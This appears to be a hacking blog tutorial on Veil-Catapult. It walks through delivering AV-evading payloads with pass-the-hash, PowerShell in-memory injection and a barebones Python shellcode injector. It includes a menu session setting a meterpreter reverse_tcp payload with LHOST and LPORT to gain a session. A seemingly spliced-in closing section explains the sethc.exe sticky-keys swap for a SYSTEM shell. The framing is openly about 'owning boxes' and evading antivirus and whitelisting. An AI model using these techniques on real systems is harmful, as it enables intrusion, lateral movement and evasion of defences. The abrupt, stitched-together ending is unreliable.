We already know about Veil-Framework, They recently added a payload delivery tool Veil-Catapult. Working as like SMBexec with utilizing Veil-Evasion to generate AV-evading binaries, impacket to upload/host the binaries, and the passing-the-hash toolkit to trigger execution using temporary SMB server.
This will load the payload executable into memory without touching disk, allowing otherwise disk-detectable executable to bypass detection.
Its EXE delivery features seamless integration with Veil-Evasion is awesome,and we can specify our custom executable, otherwise can drop right into the Veil-Evasion generation menu and build a payload on the fly. Since this directly invokes the existing payload codebase, we have access to all the latest methods and modules as they’re released. After specifying our options and built an executable, we can dropped right back into the Veil-Catapult menu for target information. Single IPs or target lists can be used is another specail.
So we now going to create our standalone payload using Veil-Catapult.
For installing Veil-Catapult follow by previous post, after Veil-Catapult is installed, just run the script inside the Veil-Catapult directory.
Veil-Catapult extends the capabilities of the existing Veil framework by utilizing various methods to deliver and trigger payloads across targeted machines. It had a following standlone payload creating techniques.
It Execute the shellcode as defined in the script within the context of Powershell.
PowerShell script simply executes PowerShell.exe on the target system, which isn’t particularly suspicious and its remoting allows us to remotely execute scripts without ever writing to disk on the target system.
[>] Enter a target IP or target list: 192.168.31.2
[>] Enter a [domain/]username or credump file: sathish
[>] Enter a password or LM:NTLM hash: bhuvi
[>] Use pth-[wmis] (default) or pth-[winexe]? winexe
Now we are going to select msfvenom typing “1″
[>] Please enter the number of your choice : 1
After that we need to type some details:
Enter metasploit payload: “windows/meterpreter/reverse_tcp”
Enter value for ‘LHOST’, [tab] for local IP: “192.168.31.20″
Enter value for ‘LPORT’: “8080″
And press Enter to launch and it will trigger power injection, then we get an meterpreter session.
Barebones Python Injector:
However, on assessments we still sometimes encounter machines without powershell installed or enabled. Wouldn’t it be nice to still have a method to invoke payloads without powershell that still granted trusted execution.
The Barebones Python injector released with Veil-Catapult addresses this problem. If you don’t have powershell access on a system for some reason, don’t really like dropping malicious EXEs to disk, or nasty AV white listing/reputation filers are causing you pain, this method provides you an alternative option for owning boxes with a trusted execution model.
To execute, a zipped ‘barebones’ Python environment is first uploaded to the victim machine’s temp directory using Impacket, along with a stand alone 7zip binary
A pth-wmis or pth-winexe command is used to unzip the environment, and a second command will invoke the extracted Python binary with the “-c” option. The passed string comprises a minimum Python program that will base64 decode a shellcode string and invoke it in memory.
Reboot, hit Shift key 5 times, SYSTEM shell will pop up. Also there is script for it in metasploit.Check it out this awesome blog for more details.
This exploit allows users to reset the Administrator password on Windows. It is done by booting from a repair disk, starting command prompt, and replacing C:\Windows\System32\sethc.exe with C:\Windows\System32\cmd.exe.
sethc.exe is a process associated with Windows NT High Contrast Invocation and is part of Microsoft Windows Operating System. With default Windows settings, this process is run when the shift is pressed 5 times in sequence, to invoke the StickyKeys configuration window
When the sticky key combination is pressed at the logon screen, users get access to a command prompt with Administrator privileges.
This is a huge security hole, makes the OS vulnerable to anyone with even the slightest IT knowledge